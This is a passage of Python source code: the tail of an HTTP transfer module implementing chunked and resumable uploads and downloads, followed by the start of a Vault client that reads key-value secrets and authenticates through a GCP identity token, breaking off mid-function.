download.""" print('Download complete') def UploadProgressPrinter(response, unused_upload): """Print upload progress based on response.""" print('Sent %s' % response.info['range']) def UploadCompletePrinter(unused_response, unused_upload): """Print information about a completed upload.""" print('Upload complete') class _Transfer(object): """Generic bits common to Uploads and Downloads.""" def __init__(self, stream, close_stream=False, chunksize=None, auto_transfer=True, http=None, num_retries=5): self.__bytes_http = None self.__close_stream = close_stream self.__http = http self.__stream = stream self.__url = None self.__num_retries = 5 # Let the @property do validation self.num_retries = num_retries self.retry_func = ( http_wrapper.HandleExceptionsAndRebuildHttpConnections) self.auto_transfer = auto_transfer self.chunksize = chunksize or 1048576 def __repr__(self): return str(self) @property def close_stream(self): return self.__close_stream @property def http(self): return self.__http @property def bytes_http(self): return self.__bytes_http or self.http @bytes_http.setter def bytes_http(self, value): self.__bytes_http = value @property def num_retries(self): return self.__num_retries @num_retries.setter def num_retries(self, value): util.Typecheck(value, six.integer_types) if value < 0: raise exceptions.InvalidDataError( 'Cannot have negative value for num_retries') self.__num_retries = value @property def stream(self): return self.__stream @property def url(self): return self.__url def _Initialize(self, http, url): """Initialize this download by setting self.http and self.url. We want the user to be able to override self.http by having set the value in the constructor; in that case, we ignore the provided http. Args: http: An httplib2.Http instance or None. url: The url for this transfer. Returns: None. Initializes self. """ self.EnsureUninitialized() if self.http is None: self.__http = http or http_wrapper.GetHttp() self.__url = url @property def initialized(self): return self.url is not None and self.http is not None @property def _type_name(self): return type(self).__name__ def EnsureInitialized(self): if not self.initialized: raise exceptions.TransferInvalidError( 'Cannot use uninitialized %s' % self._type_name) def EnsureUninitialized(self): if self.initialized: raise exceptions.TransferInvalidError( 'Cannot re-initialize %s' % self._type_name) def __del__(self): if self.__close_stream: self.__stream.close() def _ExecuteCallback(self, callback, response): # TODO(craigcitro): Push these into a queue. if callback is not None: threading.Thread(target=callback, args=(response, self)).start() class Download(_Transfer): """Data for a single download. Public attributes: chunksize: default chunksize to use for transfers. """ _ACCEPTABLE_STATUSES = set(( http_client.OK, http_client.NO_CONTENT, http_client.PARTIAL_CONTENT, http_client.REQUESTED_RANGE_NOT_SATISFIABLE, )) _REQUIRED_SERIALIZATION_KEYS = set(( 'auto_transfer', 'progress', 'total_size', 'url')) def __init__(self, stream, progress_callback=None, finish_callback=None, **kwds): total_size = kwds.pop('total_size', None) super(Download, self).__init__(stream, **kwds) self.__initial_response = None self.__progress = 0 self.__total_size = total_size self.__encoding = None self.progress_callback = progress_callback self.finish_callback = finish_callback @property def progress(self): return self.__progress @property def encoding(self): return self.__encoding @classmethod def FromFile(cls, filename, overwrite=False, auto_transfer=True, **kwds): """Create a new download object from a filename.""" path = os.path.expanduser(filename) if os.path.exists(path) and not overwrite: raise exceptions.InvalidUserInputError( 'File %s exists and overwrite not specified' % path) return cls(open(path, 'wb'), close_stream=True, auto_transfer=auto_transfer, **kwds) @classmethod def FromStream(cls, stream, auto_transfer=True, total_size=None, **kwds): """Create a new Download object from a stream.""" return cls(stream, auto_transfer=auto_transfer, total_size=total_size, **kwds) @classmethod def FromData(cls, stream, json_data, http=None, auto_transfer=None, **kwds): """Create a new Download object from a stream and serialized data.""" info = json.loads(json_data) missing_keys = cls._REQUIRED_SERIALIZATION_KEYS - set(info.keys()) if missing_keys: raise exceptions.InvalidDataError( 'Invalid serialization data, missing keys: %s' % ( ', '.join(missing_keys))) download = cls.FromStream(stream, **kwds) if auto_transfer is not None: download.auto_transfer = auto_transfer else: download.auto_transfer = info['auto_transfer'] setattr(download, '_Download__progress', info['progress']) setattr(download, '_Download__total_size', info['total_size']) download._Initialize( # pylint: disable=protected-access http, info['url']) return download @property def serialization_data(self): self.EnsureInitialized() return { 'auto_transfer': self.auto_transfer, 'progress': self.progress, 'total_size': self.total_size, 'url': self.url, } @property def total_size(self): return self.__total_size def __str__(self): if not self.initialized: return 'Download (uninitialized)' return 'Download with %d/%s bytes transferred from url %s' % ( self.progress, self.total_size, self.url) def ConfigureRequest(self, http_request, url_builder): url_builder.query_params['alt'] = 'media' # TODO(craigcitro): We need to send range requests because by # default httplib2 stores entire reponses in memory. Override # httplib2's download method (as gsutil does) so that this is not # necessary. http_request.headers['Range'] = 'bytes=0-%d' % (self.chunksize - 1,) def __SetTotal(self, info): """Sets the total size based off info if possible otherwise 0.""" if 'content-range' in info: _, _, total = info['content-range'].rpartition('/') if total != '*': self.__total_size = int(total) # Note "total_size is None" means we don't know it; if no size # info was returned on our initial range request, that means we # have a 0-byte file. (That last statement has been verified # empirically, but is not clearly documented anywhere.) if self.total_size is None: self.__total_size = 0 def InitializeDownload(self, http_request, http=None, client=None): """Initialize this download by making a request. Args: http_request: The HttpRequest to use to initialize this download. http: The httplib2.Http instance for this request. client: If provided, let this client process the final URL before sending any additional requests. If client is provided and http is not, client.http will be used instead. """ self.EnsureUninitialized() if http is None and client is None: raise exceptions.UserError('Must provide client or http.') http = http or client.http if client is not None: http_request.url = client.FinalizeTransferUrl(http_request.url) url = http_request.url if self.auto_transfer: end_byte = self.__ComputeEndByte(0) self.__SetRangeHeader(http_request, 0, end_byte) response = http_wrapper.MakeRequest( self.bytes_http or http, http_request) if response.status_code not in self._ACCEPTABLE_STATUSES: raise exceptions.HttpError.FromResponse(response) self.__initial_response = response self.__SetTotal(response.info) url = response.info.get('content-location', response.request_url) if client is not None: url = client.FinalizeTransferUrl(url) self._Initialize(http, url) # Unless the user has requested otherwise, we want to just # go ahead and pump the bytes now. if self.auto_transfer: self.StreamInChunks() def __NormalizeStartEnd(self, start, end=None): """Normalizes start and end values based on total size.""" if end is not None: if start < 0: raise exceptions.TransferInvalidError( 'Cannot have end index with negative start index ' + '[start=%d, end=%d]' % (start, end)) elif start >= self.total_size: raise exceptions.TransferInvalidError( 'Cannot have start index greater than total size ' + '[start=%d, total_size=%d]' % (start, self.total_size)) end = min(end, self.total_size - 1) if end < start: raise exceptions.TransferInvalidError( 'Range requested with end[%s] < start[%s]' % (end, start)) return start, end else: if start < 0: start = max(0, start + self.total_size) return start, self.total_size - 1 def __SetRangeHeader(self, request, start, end=None): if start < 0: request.headers['range'] = 'bytes=%d' % start elif end is None or end < start: request.headers['range'] = 'bytes=%d-' % start else: request.headers['range'] = 'bytes=%d-%d' % (start, end) def __ComputeEndByte(self, start, end=None, use_chunks=True): """Compute the last byte to fetch for this request. This is all based on the HTTP spec for Range and Content-Range. Note that this is potentially confusing in several ways: * the value for the last byte is 0-based, eg "fetch 10 bytes from the beginning" would return 9 here. * if we have no information about size, and don't want to use the chunksize, we'll return None. See the tests for more examples. Args: start: byte to start at. end: (int or None, default: None) Suggested last byte. use_chunks: (bool, default: True) If False, ignore self.chunksize. Returns: Last byte to use in a Range header, or None. """ end_byte = end if start < 0 and not self.total_size: return end_byte if use_chunks: alternate = start + self.chunksize - 1 if end_byte is not None: end_byte = min(end_byte, alternate) else: end_byte = alternate if self.total_size: alternate = self.total_size - 1 if end_byte is not None: end_byte = min(end_byte, alternate) else: end_byte = alternate return end_byte def __GetChunk(self, start, end, additional_headers=None): """Retrieve a chunk, and return the full response.""" self.EnsureInitialized() request = http_wrapper.Request(url=self.url) self.__SetRangeHeader(request, start, end=end) if additional_headers is not None: request.headers.update(additional_headers) return http_wrapper.MakeRequest( self.bytes_http, request, retry_func=self.retry_func, retries=self.num_retries) def __ProcessResponse(self, response): """Process response (by updating self and writing to self.stream).""" if response.status_code not in self._ACCEPTABLE_STATUSES: # We distinguish errors that mean we made a mistake in setting # up the transfer versus something we should attempt again. if response.status_code in (http_client.FORBIDDEN, http_client.NOT_FOUND): raise exceptions.HttpError.FromResponse(response) else: raise exceptions.TransferRetryError(response.content) if response.status_code in (http_client.OK, http_client.PARTIAL_CONTENT): self.stream.write(response.content) self.__progress += response.length if response.info and 'content-encoding' in response.info: # TODO(craigcitro): Handle the case where this changes over a # download. self.__encoding = response.info['content-encoding'] elif response.status_code == http_client.NO_CONTENT: # It's important to write something to the stream for the case # of a 0-byte download to a file, as otherwise python won't # create the file. self.stream.write('') return response def GetRange(self, start, end=None, additional_headers=None, use_chunks=True): """Retrieve a given byte range from this download, inclusive. Range must be of one of these three forms: * 0 <= start, end = None: Fetch from start to the end of the file. * 0 <= start <= end: Fetch the bytes from start to end. * start < 0, end = None: Fetch the last -start bytes of the file. (These variations correspond to those described in the HTTP 1.1 protocol for range headers in RFC 2616, sec. 14.35.1.) Args: start: (int) Where to start fetching bytes. (See above.) end: (int, optional) Where to stop fetching bytes. (See above.) additional_headers: (bool, optional) Any additional headers to pass with the request. use_chunks: (bool, default: True) If False, ignore self.chunksize and fetch this range in a single request. Returns: None. Streams bytes into self.stream. """ self.EnsureInitialized() progress_end_normalized = False if self.total_size is not None: progress, end_byte = self.__NormalizeStartEnd(start, end) progress_end_normalized = True else: progress = start end_byte = end while (not progress_end_normalized or end_byte is None or progress <= end_byte): end_byte = self.__ComputeEndByte(progress, end=end_byte, use_chunks=use_chunks) response = self.__GetChunk(progress, end_byte, additional_headers=additional_headers) if not progress_end_normalized: self.__SetTotal(response.info) progress, end_byte = self.__NormalizeStartEnd(start, end) progress_end_normalized = True response = self.__ProcessResponse(response) progress += response.length if response.length == 0: if response.status_code == http_client.OK: # There can legitimately be no Content-Length header sent # in some cases (e.g., when there's a Transfer-Encoding # header) and if this was a 200 response (as opposed to # 206 Partial Content) we know we're done now without # looping further on received length. return raise exceptions.TransferRetryError( 'Zero bytes unexpectedly returned in download response') def StreamInChunks(self, callback=None, finish_callback=None, additional_headers=None): """Stream the entire download in chunks.""" self.StreamMedia(callback=callback, finish_callback=finish_callback, additional_headers=additional_headers, use_chunks=True) def StreamMedia(self, callback=None, finish_callback=None, additional_headers=None, use_chunks=True): """Stream the entire download. Args: callback: (default: None) Callback to call as each chunk is completed. finish_callback: (default: None) Callback to call when the download is complete. additional_headers: (default: None) Additional headers to include in fetching bytes. use_chunks: (bool, default: True) If False, ignore self.chunksize and stream this download in a single request. Returns: None. Streams bytes into self.stream. """ callback = callback or self.progress_callback finish_callback = finish_callback or self.finish_callback self.EnsureInitialized() while True: if self.__initial_response is not None: response = self.__initial_response self.__initial_response = None else: end_byte = self.__ComputeEndByte(self.progress, use_chunks=use_chunks) response = self.__GetChunk( self.progress, end_byte, additional_headers=additional_headers) if self.total_size is None: self.__SetTotal(response.info) response = self.__ProcessResponse(response) self._ExecuteCallback(callback, response) if (response.status_code == http_client.OK or self.progress >= self.total_size): break self._ExecuteCallback(finish_callback, response) class Upload(_Transfer): """Data for a single Upload. Fields: stream: The stream to upload. mime_type: MIME type of the upload. total_size: (optional) Total upload size for the stream. close_stream: (default: False) Whether or not we should close the stream when finished with the upload. auto_transfer: (default: True) If True, stream all bytes as soon as the upload is created. """ _REQUIRED_SERIALIZATION_KEYS = set(( 'auto_transfer', 'mime_type', 'total_size', 'url')) def __init__(self, stream, mime_type, total_size=None, http=None, close_stream=False, chunksize=None, auto_transfer=True, progress_callback=None, finish_callback=None, gzip_encoded=False, **kwds): super(Upload, self).__init__( stream, close_stream=close_stream, chunksize=chunksize, auto_transfer=auto_transfer, http=http, **kwds) self.__complete = False self.__final_response = None self.__mime_type = mime_type self.__progress = 0 self.__server_chunk_granularity = None self.__strategy = None self.__total_size = None self.__gzip_encoded = gzip_encoded self.progress_callback = progress_callback self.finish_callback = finish_callback self.total_size = total_size @property def progress(self): return self.__progress @classmethod def FromFile(cls, filename, mime_type=None, auto_transfer=True, gzip_encoded=False, **kwds): """Create a new Upload object from a filename.""" path = os.path.expanduser(filename) if not os.path.exists(path): raise exceptions.NotFoundError('Could not find file %s' % path) if not mime_type: mime_type, _ = mimetypes.guess_type(path) if mime_type is None: raise exceptions.InvalidUserInputError( 'Could not guess mime type for %s' % path) size = os.stat(path).st_size return cls(open(path, 'rb'), mime_type, total_size=size, close_stream=True, auto_transfer=auto_transfer, gzip_encoded=gzip_encoded, **kwds) @classmethod def FromStream(cls, stream, mime_type, total_size=None, auto_transfer=True, gzip_encoded=False, **kwds): """Create a new Upload object from a stream.""" if mime_type is None: raise exceptions.InvalidUserInputError( 'No mime_type specified for stream') return cls(stream, mime_type, total_size=total_size, close_stream=False, auto_transfer=auto_transfer, gzip_encoded=gzip_encoded, **kwds) @classmethod def FromData(cls, stream, json_data, http, auto_transfer=None, gzip_encoded=False, **kwds): """Create a new Upload of stream from serialized json_data and http.""" info = json.loads(json_data) missing_keys = cls._REQUIRED_SERIALIZATION_KEYS - set(info.keys()) if missing_keys: raise exceptions.InvalidDataError( 'Invalid serialization data, missing keys: %s' % ( ', '.join(missing_keys))) if 'total_size' in kwds: raise exceptions.InvalidUserInputError( 'Cannot override total_size on serialized Upload') upload = cls.FromStream(stream, info['mime_type'], total_size=info.get('total_size'), gzip_encoded=gzip_encoded, **kwds) if isinstance(stream, io.IOBase) and not stream.seekable(): raise exceptions.InvalidUserInputError( 'Cannot restart resumable upload on non-seekable stream') if auto_transfer is not None: upload.auto_transfer = auto_transfer else: upload.auto_transfer = info['auto_transfer'] upload.strategy = RESUMABLE_UPLOAD upload._Initialize( # pylint: disable=protected-access http, info['url']) upload.RefreshResumableUploadState() upload.EnsureInitialized() if upload.auto_transfer: upload.StreamInChunks() return upload @property def serialization_data(self): self.EnsureInitialized() if self.strategy != RESUMABLE_UPLOAD: raise exceptions.InvalidDataError( 'Serialization only supported for resumable uploads') return { 'auto_transfer': self.auto_transfer, 'mime_type': self.mime_type, 'total_size': self.total_size, 'url': self.url, } @property def complete(self): return self.__complete @property def mime_type(self): return self.__mime_type def __str__(self): if not self.initialized: return 'Upload (uninitialized)' return 'Upload with %d/%s bytes transferred for url %s' % ( self.progress, self.total_size or '???', self.url) @property def strategy(self): return self.__strategy @strategy.setter def strategy(self, value): if value not in (SIMPLE_UPLOAD, RESUMABLE_UPLOAD): raise exceptions.UserError(( 'Invalid value "%s" for upload strategy, must be one of ' '"simple" or "resumable".') % value) self.__strategy = value @property def total_size(self): return self.__total_size @total_size.setter def total_size(self, value): self.EnsureUninitialized() self.__total_size = value def __SetDefaultUploadStrategy(self, upload_config, http_request): """Determine and set the default upload strategy for this upload. We generally prefer simple or multipart, unless we're forced to use resumable. This happens when any of (1) the upload is too large, (2) the simple endpoint doesn't support multipart requests and we have metadata, or (3) there is no simple upload endpoint. Args: upload_config: Configuration for the upload endpoint. http_request: The associated http request. Returns: None. """ if upload_config.resumable_path is None: self.strategy = SIMPLE_UPLOAD if self.strategy is not None: return strategy = SIMPLE_UPLOAD if (self.total_size is not None and self.total_size > _RESUMABLE_UPLOAD_THRESHOLD): strategy = RESUMABLE_UPLOAD if http_request.body and not upload_config.simple_multipart: strategy = RESUMABLE_UPLOAD if not upload_config.simple_path: strategy = RESUMABLE_UPLOAD self.strategy = strategy def ConfigureRequest(self, upload_config, http_request, url_builder): """Configure the request and url for this upload.""" # Validate total_size vs. max_size if (self.total_size and upload_config.max_size and self.total_size > upload_config.max_size): raise exceptions.InvalidUserInputError( 'Upload too big: %s larger than max size %s' % ( self.total_size, upload_config.max_size)) # Validate mime type if not util.AcceptableMimeType(upload_config.accept, self.mime_type): raise exceptions.InvalidUserInputError( 'MIME type %s does not match any accepted MIME ranges %s' % ( self.mime_type, upload_config.accept)) self.__SetDefaultUploadStrategy(upload_config, http_request) if self.strategy == SIMPLE_UPLOAD: url_builder.relative_path = upload_config.simple_path if http_request.body: url_builder.query_params['uploadType'] = 'multipart' self.__ConfigureMultipartRequest(http_request) else: url_builder.query_params['uploadType'] = 'media' self.__ConfigureMediaRequest(http_request) # Once the entire body is written, compress the body if configured # to. Both multipart and media request uploads will read the # entire stream into memory, which means full compression is also # safe to perform. Because the strategy is set to SIMPLE_UPLOAD, # StreamInChunks throws an exception, meaning double compression # cannot happen. if self.__gzip_encoded: http_request.headers['Content-Encoding'] = 'gzip' # Turn the body into a stream so that we can compress it, then # read the compressed bytes. In the event of a retry (e.g. if # our access token has expired), we need to be able to re-read # the body, which we can't do with a stream. So, we consume the # bytes from the stream now and store them in a re-readable # bytes container. http_request.body = ( compression.CompressStream( six.BytesIO(http_request.body))[0].read()) else: url_builder.relative_path = upload_config.resumable_path url_builder.query_params['uploadType'] = 'resumable' self.__ConfigureResumableRequest(http_request) def __ConfigureMediaRequest(self, http_request): """Configure http_request as a simple request for this upload.""" http_request.headers['content-type'] = self.mime_type http_request.body = self.stream.read() http_request.loggable_body = '<media body>' def __ConfigureMultipartRequest(self, http_request): """Configure http_request as a multipart request for this upload.""" # This is a multipart/related upload. msg_root = mime_multipart.MIMEMultipart('related') # msg_root should not write out its own headers setattr(msg_root, '_write_headers', lambda self: None) # attach the body as one part msg = mime_nonmultipart.MIMENonMultipart( *http_request.headers['content-type'].split('/')) msg.set_payload(http_request.body) msg_root.attach(msg) # attach the media as the second part msg = mime_nonmultipart.MIMENonMultipart(*self.mime_type.split('/')) msg['Content-Transfer-Encoding'] = 'binary' msg.set_payload(self.stream.read()) msg_root.attach(msg) # NOTE: We encode the body, but can't use # `email.message.Message.as_string` because it prepends # `> ` to `From ` lines. fp = six.BytesIO() if six.PY3: generator_class = email_generator.BytesGenerator else: generator_class = email_generator.Generator g = generator_class(fp, mangle_from_=False) g.flatten(msg_root, unixfrom=False) http_request.body = fp.getvalue() multipart_boundary = msg_root.get_boundary() http_request.headers['content-type'] = ( 'multipart/related; boundary=%r' % multipart_boundary) if isinstance(multipart_boundary, six.text_type): multipart_boundary = multipart_boundary.encode('ascii') body_components = http_request.body.split(multipart_boundary) headers, _, _ = body_components[-2].partition(b'\n\n') body_components[-2] = b'\n\n'.join([headers, b'<media body>\n\n--']) http_request.loggable_body = multipart_boundary.join(body_components) def __ConfigureResumableRequest(self, http_request): http_request.headers['X-Upload-Content-Type'] = self.mime_type if self.total_size is not None: http_request.headers[ 'X-Upload-Content-Length'] = str(self.total_size) def RefreshResumableUploadState(self): """Talk to the server and refresh the state of this resumable upload. Returns: Response if the upload is complete. """ if self.strategy != RESUMABLE_UPLOAD: return self.EnsureInitialized() refresh_request = http_wrapper.Request( url=self.url, http_method='PUT', headers={'Content-Range': 'bytes */*'}) refresh_response = http_wrapper.MakeRequest( self.http, refresh_request, redirections=0, retries=self.num_retries) range_header = self._GetRangeHeaderFromResponse(refresh_response) if refresh_response.status_code in (http_client.OK, http_client.CREATED): self.__complete = True self.__progress = self.total_size self.stream.seek(self.progress) # If we're finished, the refresh response will contain the metadata # originally requested. Cache it so it can be returned in # StreamInChunks. self.__final_response = refresh_response elif refresh_response.status_code == http_wrapper.RESUME_INCOMPLETE: if range_header is None: self.__progress = 0 else: self.__progress = self.__GetLastByte(range_header) + 1 self.stream.seek(self.progress) else: raise exceptions.HttpError.FromResponse(refresh_response) def _GetRangeHeaderFromResponse(self, response): return response.info.get('Range', response.info.get('range')) def InitializeUpload(self, http_request, http=None, client=None): """Initialize this upload from the given http_request.""" if self.strategy is None: raise exceptions.UserError( 'No upload strategy set; did you call ConfigureRequest?') if http is None and client is None: raise exceptions.UserError('Must provide client or http.') if self.strategy != RESUMABLE_UPLOAD: return http = http or client.http if client is not None: http_request.url = client.FinalizeTransferUrl(http_request.url) self.EnsureUninitialized() http_response = http_wrapper.MakeRequest(http, http_request, retries=self.num_retries) if http_response.status_code != http_client.OK: raise exceptions.HttpError.FromResponse(http_response) self.__server_chunk_granularity = http_response.info.get( 'X-Goog-Upload-Chunk-Granularity') url = http_response.info['location'] if client is not None: url = client.FinalizeTransferUrl(url) self._Initialize(http, url) # Unless the user has requested otherwise, we want to just # go ahead and pump the bytes now. if self.auto_transfer: return self.StreamInChunks() return http_response def __GetLastByte(self, range_header): _, _, end = range_header.partition('-') # TODO(craigcitro): Validate start == 0? return int(end) def __ValidateChunksize(self, chunksize=None): if self.__server_chunk_granularity is None: return chunksize = chunksize or self.chunksize if chunksize % self.__server_chunk_granularity: raise exceptions.ConfigurationValueError( 'Server requires chunksize to be a multiple of %d' % self.__server_chunk_granularity) def __IsRetryable(self, response): return (response.status_code >= 500 or response.status_code == http_wrapper.TOO_MANY_REQUESTS or response.retry_after) def __StreamMedia(self, callback=None, finish_callback=None, additional_headers=None, use_chunks=True): """Helper function for StreamMedia / StreamInChunks.""" if self.strategy != RESUMABLE_UPLOAD: raise exceptions.InvalidUserInputError( 'Cannot stream non-resumable upload') callback = callback or self.progress_callback finish_callback = finish_callback or self.finish_callback # final_response is set if we resumed an already-completed upload. response = self.__final_response def CallSendChunk(start): return self.__SendChunk( start, additional_headers=additional_headers) def CallSendMediaBody(start): return self.__SendMediaBody( start, additional_headers=additional_headers) send_func = CallSendChunk if use_chunks else CallSendMediaBody if not use_chunks and self.__gzip_encoded: raise exceptions.InvalidUserInputError( 'Cannot gzip encode non-chunked upload') if use_chunks: self.__ValidateChunksize(self.chunksize) self.EnsureInitialized() while not self.complete: response = send_func(self.stream.tell()) if response.status_code in (http_client.OK, http_client.CREATED): self.__complete = True break if response.status_code not in ( http_client.OK, http_client.CREATED, http_wrapper.RESUME_INCOMPLETE): # Only raise an exception if the error is something we can't # recover from. if (self.strategy != RESUMABLE_UPLOAD or not self.__IsRetryable(response)): raise exceptions.HttpError.FromResponse(response) # We want to reset our state to wherever the server left us # before this failed request, and then raise. self.RefreshResumableUploadState() self._ExecuteCallback(callback, response) continue self.__progress = self.__GetLastByte( self._GetRangeHeaderFromResponse(response)) if self.progress + 1 != self.stream.tell(): # TODO(craigcitro): Add a better way to recover here. raise exceptions.CommunicationError( 'Failed to transfer all bytes in chunk, upload paused at ' 'byte %d' % self.progress) self._ExecuteCallback(callback, response) if self.__complete and hasattr(self.stream, 'seek'): current_pos = self.stream.tell() self.stream.seek(0, os.SEEK_END) end_pos = self.stream.tell() self.stream.seek(current_pos) if current_pos != end_pos: raise exceptions.TransferInvalidError( 'Upload complete with %s additional bytes left in stream' % (int(end_pos) - int(current_pos))) self._ExecuteCallback(finish_callback, response) return response def StreamMedia(self, callback=None, finish_callback=None, additional_headers=None): """Send this resumable upload in a single request. Args: callback: Progress callback function with inputs (http_wrapper.Response, transfer.Upload) finish_callback: Final callback function with inputs (http_wrapper.Response, transfer.Upload) additional_headers: Dict of headers to include with the upload http_wrapper.Request. Returns: http_wrapper.Response of final response. """ return self.__StreamMedia( callback=callback, finish_callback=finish_callback, additional_headers=additional_headers, use_chunks=False) def StreamInChunks(self, callback=None, finish_callback=None, additional_headers=None): """Send this (resumable) upload in chunks.""" return self.__StreamMedia( callback=callback, finish_callback=finish_callback, additional_headers=additional_headers) def __SendMediaRequest(self, request, end): """Request helper function for SendMediaBody & SendChunk.""" def CheckResponse(response): if response is None: # Caller shouldn't call us if the response is None, # but handle anyway. raise exceptions.RequestError( 'Request to url %s did not return a response.' % response.request_url) response = http_wrapper.MakeRequest( self.bytes_http, request, retry_func=self.retry_func, retries=self.num_retries, check_response_func=CheckResponse) if response.status_code == http_wrapper.RESUME_INCOMPLETE: last_byte = self.__GetLastByte( self._GetRangeHeaderFromResponse(response)) if last_byte + 1 != end: self.stream.seek(last_byte + 1) return response def __SendMediaBody(self, start, additional_headers=None): """Send the entire media stream in a single request.""" self.EnsureInitialized() if self.total_size is None: raise exceptions.TransferInvalidError( 'Total size must be known for SendMediaBody') body_stream = stream_slice.StreamSlice( self.stream, self.total_size - start) request = http_wrapper.Request(url=self.url, http_method='PUT', body=body_stream) request.headers['Content-Type'] = self.mime_type if start == self.total_size: # End of an upload with 0 bytes left to send; just finalize. range_string = 'bytes */%s' % self.total_size else: range_string = 'bytes %s-%s/%s' % (start, self.total_size - 1, self.total_size) request.headers['Content-Range'] = range_string if additional_headers: request.headers.update(additional_headers) return self.__SendMediaRequest(request, self.total_size) def __SendChunk(self, start, additional_headers=None): """Send the specified chunk.""" self.EnsureInitialized() no_log_body = self.total_size is None request = http_wrapper.Request(url=self.url, http_method='PUT') if self.__gzip_encoded: request.headers['Content-Encoding'] = 'gzip' body_stream, read_length, exhausted = compression.CompressStream( self.stream, self.chunksize) end = start + read_length # If the stream length was previously unknown and the input stream # is exhausted, then we're at the end of the stream. if self.total_size is None and exhausted: self.__total_size = end elif self.total_size is None: # For the streaming resumable case, we need to detect when # we're at the end of the stream. body_stream = buffered_stream.BufferedStream( self.stream, start, self.chunksize) end = body_stream.stream_end_position if body_stream.stream_exhausted: self.__total_size = end # TODO: Here, change body_stream from a stream to a string object, # which means reading a chunk into memory. This works around # https://code.google.com/p/httplib2/issues/detail?id=176 which can # cause httplib2 to skip bytes on 401's for file objects. # Rework this solution to be more general. body_stream = body_stream.read(self.chunksize) else: end = min(start + self.chunksize, self.total_size) body_stream = stream_slice.StreamSlice(self.stream, end - start) # TODO(craigcitro): Think about clearer errors on "no data in # stream". request.body = body_stream request.headers['Content-Type'] = self.mime_type if no_log_body: # Disable logging of streaming body. # TODO: Remove no_log_body and rework as part of a larger logs # refactor. request.loggable_body = '<media body>' if self.total_size is None: # Streaming resumable upload case, unknown total size. range_string = 'bytes %s-%s/*' % (start, end - 1) elif end == start: # End of an upload with 0 bytes left to send; just finalize. range_string = 'bytes */%s' % self.total_size else: # Normal resumable upload case with known sizes. range_string = 'bytes %s-%s/%s' % (start, end - 1, self.total_size) request.headers['Content-Range'] = range_string if additional_headers: request.headers.update(additional_headers) return self.__SendMediaRequest(request, end)
client.py
import json import logging import os import threading from dataclasses import dataclass from datetime import datetime from typing import List, Any, Union, Optional, Dict from urllib.parse import urlencode import requests def http_get( url: str, headers: Optional[dict] = None, data: Optional[dict] = None, ): return http_request("get", url=url, headers=headers, data=data) def http_post( url: str, headers: Optional[dict] = None, data: Optional[dict] = None, ): return http_request("post", url=url, headers=headers, data=data) def http_request( method: str, url: str, headers: Optional[dict] = None, data: Optional[dict] = None, ): try: if method.lower() == "get": response = requests.get( url, headers=headers, data=data, allow_redirects=False, timeout=3 ) elif method.lower() == "post": response = requests.post( url, headers=headers, data=data, allow_redirects=False, timeout=3 ) else: return None if response.status_code == 404: logging.debug("Secret or path not found in Vault.") return None elif response.status_code == 403: raise PermissionError( "Access to Vault secret denied. Check the token, authentication method, or policies." ) elif response.status_code == 307: logging.error( "Vault request was not successful. Request may have been sent to a Vault standby server." ) return None elif response.status_code == 502: logging.debug("Vault request was throttled.") return None elif 300 <= response.status_code < 500: logging.warning( "Unexpected response. The Vault client is not configured to handle redirects: " + f"{response.status_code} : {response.headers} : {response.text}" ) return None elif response.status_code >= 500: logging.error(f"Error occurred while accessing Vault: {response.text}") return None return response.json() except Exception as e: logging.error(e) return None def dotted_get(path: Union[str, List[str]], obj: dict): if isinstance(path, str): path = path.split(".") item = obj.get(path[0], None) if item and len(path) > 1: return dotted_get(path[1:], item) return item class VaultClient: __vault_addr: str __vault_token: str __vault_namespace: str __vault_accessor: str __auth_method: str __auth_path: str __auth_role: str __vault_policies: List[str] = [] __vault_token_lease_time: datetime __vault_token_lease_duration: int = 0 __authenticated: bool = False __secrets: Dict[str, "VaultClient.VaultSecret"] = {} __default_kvv2_ttl: int = 300 def get_auth_method(self) -> str: return self.__auth_method def get_auth_role(self) -> str: return self.__auth_role def get_vault_accessor(self) -> str: return self.__vault_accessor def get_vault_addr(self) -> str: return self.__vault_addr def get_vault_namespace(self) -> str: return self.__vault_namespace def get_vault_policies(self) -> List[str]: return self.__vault_policies def is_authenticated(self) -> bool: return self.__authenticated def set_auth_method(self, auth_method) -> None: self.__auth_method = auth_method def set_auth_path(self, auth_path) -> None: self.__auth_path = auth_path def set_auth_role(self, auth_role) -> None: self.__auth_role = auth_role def set_vault_accessor(self, vault_accessor) -> None: self.__vault_accessor = vault_accessor def set_vault_addr(self, vault_addr) -> None: self.__vault_addr = vault_addr def set_vault_namespace(self, vault_namespace) -> None: self.__vault_namespace = vault_namespace def set_vault_token(self, vault_token) -> None: self.__vault_token = vault_token def __init__( self, vault_addr: str = "", vault_namespace: str = "", auth_method: str = "", auth_path: str = "", auth_role: str = "", default_kv_v2_ttl: int = __default_kvv2_ttl, ): self.__vault_addr = vault_addr self.__vault_namespace = vault_namespace self.__auth_method = auth_method self.__auth_path = auth_path self.__auth_role = auth_role self.__default_kvv2_ttl = default_kv_v2_ttl self.__vault_token = os.getenv("VAULT_TOKEN", default="") if not self.__vault_addr: self.__vault_addr = os.getenv("VAULT_ADDR", default="") if not self.__vault_namespace: self.__vault_namespace = os.getenv("VAULT_NAMESPACE", default="") if self.__vault_token and self.__vault_addr: logging.debug("Using existing Token for authentication.") self.__vault_token_lease_duration = 0 self.__authenticated = True def read_kv( self, name: str, key: str, version: int = 0, mount_path: str = "/secret", kv_version: int = 2, ) -> Any: if kv_version == 1: path = f"{mount_path}/{name}" kv_key = f"data.{key}" return self.read(path, kv_key) elif kv_version == 2: path = f"{mount_path}/data/{name}?version={version}" kv_key = f"data.data.{key}" return self.read(path, kv_key) else: logging.error("Unknown Key-Value secret engine version") return None def read(self, path: str, key: str) -> Any: value = self.__read_element(path, key) if value: if type(value) in [int, str, float]: return value else: return json.dumps(value, default=str) return None def login(self) -> bool: logging.debug("Performing Auth") result: bool = False if not self.__auth_path: logging.debug("Auth path null") self.__auth_path = self.__auth_method if self.__auth_method == "gcp": result = self.login_gcp() # JWT login method should really be called directly # TODO: Find a clean way to reauthenticate when token using JWT auth expires if not result: raise RuntimeError("Unable to authenticate to Vault.") else: return True def login_gcp(self) -> bool: logging.debug("Performing GCP Login") google_headers: dict = {"Metadata-Flavor": "Google"} google_url_params: str google_metadata_url: str jwt: str if self.__auth_role: google_url_params = urlencode( [("audience", f"vault/{self.__auth_role}"), ("format", "full")] ) else: google_url_params = urlencode([("audience", "vault"), ("format", "full")]) google_metadata_url = ( "http://metadata/computeMetadata/v1/instance/service-accounts/default/identity?" + google_url_params ) jwt = requests.get(google_metadata_url, headers=google_headers).text return self.login_jwt(jwt) def login_jwt(self, jwt: str) -> bool: logging.debug("Performing JWT 